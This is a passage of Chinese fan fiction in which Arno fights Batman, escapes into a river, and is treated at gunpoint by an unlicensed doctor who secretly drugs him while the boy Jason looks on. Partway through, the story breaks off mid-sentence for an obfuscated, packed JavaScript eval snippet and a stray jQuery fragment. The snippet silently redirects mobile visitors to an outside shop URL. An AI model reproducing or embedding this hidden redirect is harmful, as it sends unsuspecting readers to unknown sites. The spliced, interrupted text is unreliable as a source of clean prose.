蝙蝠侠先动的手。阿洛特被动还击，但没有掏枪；倒不是他没有掏枪的意愿，而是蝙蝠侠的攻击如雨点般紧密，阿洛特根本没有掏枪的余裕。期间警笛响了过来，阿洛特动作一顿，被蝙蝠侠喷了一脸迷雾；几秒晕眩，蝙蝠侠趁机拎着他的后衣领把他提起来，用钩枪发射绳索，把他俩一起借力带上了楼顶。警车在他们脚下驶过。落到楼顶时，阿洛特挣脱了外套，一个翻滚逃开了桎梏，动作灵活得仿佛根本没有受伤。尽管他们打得有来有往，他注意到蝙蝠侠下手并不重，比起互殴更像是试探。
“我认为我们之间有点误会。”阿洛特抽空说。那枚蝙蝠镖在打斗中钻透了他的手背，沿路滴下了鲜血。他皱着眉，把它硬生生地拔了出来。
“如果是这样，我认为现在是一个合理的时机解开误会，”蝙蝠侠说，“我还可以顺路送你去警局做笔录，考虑到你刚刚不幸地遭遇抢劫。”
蝙蝠侠已经将阿洛特逼到楼顶边缘。大多数人因为无法飞翔而畏惧高空，然而当阿洛特发现自己背靠栏杆时，忽然对蝙蝠侠露出了狡黠的微笑。
“感谢你的好意，不过还是算了吧，”阿洛特说，“我不喜欢去那种地方。”
没等蝙蝠侠做出任何反应，他张开双臂向后仰去，顺着重力的指引翻下了几十米以上的高空。这超乎了蝙蝠侠的意料，他发誓自己追上的速度绝对会足够快，但他披风的一角被一枚鲜血淋漓的蝙蝠镖钉在了地上。蝙蝠侠当机立断地把披风割断，但当他追下去时，芬格河上已经毫无人类的踪影。
一无所获、除了一枚沾血的蝙蝠镖和一件兜帽风衣的布鲁斯沉着脸回到了蝙蝠洞。布鲁斯将蝙蝠镖表面上的鲜血提取，放入机器测DNA，同时又回到电脑前，检查入侵阿布斯泰戈内网的进程。
当DNA检测结果出来之后，布鲁斯没有抬头。是阿尔弗雷德为他读出的结果，“无法匹配，老爷。此人的DNA没有收录在全美数据库里。”
阿洛特湿漉漉地从河里爬起来，扒着栏杆上了岸。他没想到岸边居然有人，动作一下子停住了，后者也一副见了鬼的样子瞪着他。短暂的寂静过后，那个并不高大的身影对他伸出了手。
“谢谢，”阿洛特说，“还是我自己来吧。”他翻过栏杆，像落水狗那样甩了甩头发，一边主动发问，“你为什么在这里？”
月光落到他面前。是杰森站在这里，已经收起了震惊的神情，闻言没好气地反呛，“我还没问你为什么从河里爬上来呢！”
“显而易见，”阿洛特泰然自若地回答，“得罪了当地黑邦。能在此时遇见一位当地熟人真是太好了，杰森，请问你知道附近哪里有诊所吗？”
杰森张了张嘴，这才注意到阿洛特的左手正牢牢地按着右手。被泡得泛白发皱的皮肤显露出不妙的鲜红。
“我…我知道，”他打了个磕巴，但很快清晰地为阿洛特指路，“就在那里，他们24小时营业！”
阿洛特顺着他的指引来到了诊所。不幸的是，医生不认他口袋里被河水泡过的美金，也不提供POS机，但幸运的是，医生并不想尝试被河水泡过的M1911是否还能正常使用。于是深夜值班的医生像天使一样为突如其来的客户服务，允许浑身滴着水的阿洛特就这样坐在白色的病床上，左手按着怀里的枪，右手摊在手术灯下。
“我的伤口并不严重吧，医生？”阿洛特彬彬有礼地问，“我明天还要工作。”
医生见了鬼似的看了他一眼，确认他是在真心发问后摇了摇头，“这取决于你的工作是什么。我建议你这一个月都避开右手的使用，否则会留下后遗症。”
他还挺有医德。阿洛特没再为难他，只是承诺自己之后会把干燥的钞票补上，尽管医生看起来没有相信。
“今晚很平静吗？”阿洛特又问，“我看你似乎没什么生意。”
“你不知道吧，蝙蝠侠刚刚路过，”医生头也不抬地为他包上绷带，“所以是的，今晚估计不会再有生意了。真不知道是好还是坏。”
阿洛特对此保持了沉默。他转过头，看到杰森抱着一团东西跑了过来。
“我们已经打烊了！”医生对他喊道。他的嗓音听起来很紧绷，阿洛特奇怪地瞥了医生一眼，正对上后者紧张的打量，这才后知后觉地意识到自己已经被当作了危险分子。
杰森没听见那句话，或者没把那当一回事，因为他已经远远地看见了阿洛特坐在病床上的身影。他把那团东西抱了进来，指着阿洛特问医生，“他是不是没付钱？”
手里捏着医疗用具的医生瞠目结舌。
阿洛特于是替他补上回答，“对，我的现金都被泡湿了，幸好这位好心的先生允许我之后来补上。”
杰森嗤了一声，把那团东西剥开——阿洛特仔细观察后发现那是他自己被揉成一团的风衣——露出口袋里的美金。“白担心你了，我早该想到你肯定有办法说服他。不过这反正也是你的钱，拿去吧。”
医生缓缓转过头看了看阿洛特，又看了看杰森，最后在阿洛特的默许下，拿走了两张富兰克林。
“既然收了钱，”阿洛特冷不丁地冒出一句，“可以顺便请你为我的左手也处理一下吗，医生？”他松开了握把，摊开正在汨汨流血的左手心。
在金钱（以及收起枪）的加持下，医生很快为他处理好了伤口，并正常地给他留了一堆医嘱。杰森坐在他身边，自以为不太显眼地打量着阿洛特。后者已经有点犯困，但仍然注意到了这一点，“你有什么想和我说的吗？”
如果杰森被吓了一跳，那么他也会努力装作没有。
“呃，你的衣服，”杰森把风衣递给他，但又下意识地向后藏了藏，“我那天回去的路上摔了一跤，洗过之后变形了。我不知道怎么把它变回原样。”
原来是这么一回事。阿洛特看了眼风衣，又看了眼小孩，“没事。我也忘记告诉你它不能被洗了。”
短暂的寂静。阿洛特昏昏欲睡，余光瞥见医生朝这里看了一眼。
“我一开始以为你是坏人，后来又认为你是好心人，”杰森这时说，“现在我又改变了主意。”
即便阿洛特已经在入睡边缘徘徊，他也因为这话笑了起来。“为什么？”
“没有哪个正常的有钱人会凌晨从河里爬上来，又拿着枪威胁黑医给自己看诊的。”
“嘿，”医生打断，“我可不是黑医。我收费已经很公道了！”
“好的，地下医药从业者，”阿洛特点点头，“我相信你一定有资格证吧？”
医生哑火了。杰森也笑了，小声对阿洛特说，“有资格证的医生才不会在下城区行医。就算是布鲁斯·韦恩也不会这么做。”
他来哥谭仅仅两三天，听到和见到韦恩的次数居然已经超过了天数。阿洛特再次认识了“韦恩”这个几乎可以用作形容词的姓氏，然后突然想起了什么：韦恩，金主，工作，和劳伦斯的会面。理智在那一瞬间又重新占领高地，阿洛特突然转过头，问医生：“什么时候了？”
“已经过去一个小时了。”医生看看表。
阿洛特正想更正自己的问题，但他意识到了一些不和谐的地方。通常来说，被问到“什么时候了”这个问题，人们第一反应会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730909|145032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回答当下几分几秒。他看着医生，左手又伸进了口袋里。“已经过去一个小时了？”阿洛特慢慢地重复了医生的回答。
医生看起来像是愣了一下，然后抬头看着他。
阿洛特突然站了起来，坐在他身边的杰森被他吓了一跳，看着他径直走到刚才的手术桌旁，把医生整理过的用具翻了个遍。“喂！”医生尝试制止他，但没敢上前，“我说过你的右手不可以有大的动作！”
“你给我用的麻醉里有安眠成分？”阿洛特说，“还是你给我用了安眠药？还有没有别的？把你的手拿出来，医生，我要看到他们在哪里。”
医生战战兢兢地举起手。“只有…只有一点点。只有安眠成分，没别的了！我只是害怕！”他说的是实话。在下城区开黑店，总要做好准备，而今晚的红发青年并不是他唯一一个持枪客户。但其他手里有枪的人都会像暴发户那样颐指气使，又不通医理，只要被下点药就老实了。医生会把他们的枪和子弹收走，当然还有其他值钱的东西…拜托，这里是下城区，他又不是做慈善的！
而只有那些格外恐怖的人才会对他客客气气的。只有久在哥谭的人才能嗅出那些礼貌用语背后的血腥味，以及他们藏在微笑中的冰冷眼神。医生认为今晚这个绝对属于这一类。他来的时候，身上还滴着水，鲜艳的红发让他像一个从海里爬上来的恶魔；绿色的眼睛有冷静到几乎邪恶的光，即便他绝对正处于失血中的眩晕状态（医生能辨认出来这个），也足以让医生在他面前不敢轻举妄动。
阿洛特没有说话。他转过头，看了眼杰森，后者已经从椅子上跳了下来，正手足无措地看着他们。“你先回家。已经很晚了，你该睡觉了。”
“如果我说我想要留在这里呢？”杰森紧紧地盯着他。
医生悄悄放下手，想要去够桌上的手术刀。阿洛特瞬间抽枪，对准了医生，“别以为我站着睡着了。我能理解你感到害怕，但我讨厌你给我下药。如果不是现场站着一个未成年，你以为你还会四肢健全地站在这里吗？”
“你半个小时前就该睡着了！”医生崩溃地双手抱头，“我下了足够放倒三个成年人的量！你为什么还能站着？！”
“我维持了很久借助药物的睡眠，”阿洛特平静地回答，“无论是麻醉还是安眠，在我身上起效都更慢。有很长一段时间我无法入睡，一闭上眼就会看到死在我手里的冤魂，或者我的敌人前来索命。我整晚翻来覆去，想着我做的事情是否有意义，我做的事情是否会让这个世界更好，但每天太阳升起时，我只会发现这个世界和昨天的没有任何改变。我的良心不够多也不够少，不能少到让我毫无愧疚地杀人，也不能多到让我愿意自首，只能维持我基本符合大众价值观的理智，而正是这一点让我倍感痛苦。”
医生即便认清了自己被胁迫的处境，也莫名其妙地瞪大了眼睛。他想说他不仅没有物理行医的资格证，更是连心理咨询证的边都没摸过，但他转了转眼睛，很快意识到面前这个看起来像魔鬼的青年是在和他身后踌躇不定的小孩对话。
“如果你好奇我的工作，我只能回答说不要来。去做别的事情，但不要杀人，一旦亲手谋夺他人的性命，你会发现自己再也回不去了。我不想说‘如果你能接受杀人…’，因为询问一个还没我腰部高的小孩这种问题是没有意义的。去找布鲁斯·韦恩吧，”阿洛特在这里笑了笑，“去找那些真正在做慈善的人，去上学，然后找个不会沾血的工作。你很聪明，也有天分，你值得更好的未来。”
“现在，”阿洛特湿淋淋地注视着医生，头也不回地对杰森说，“回家。”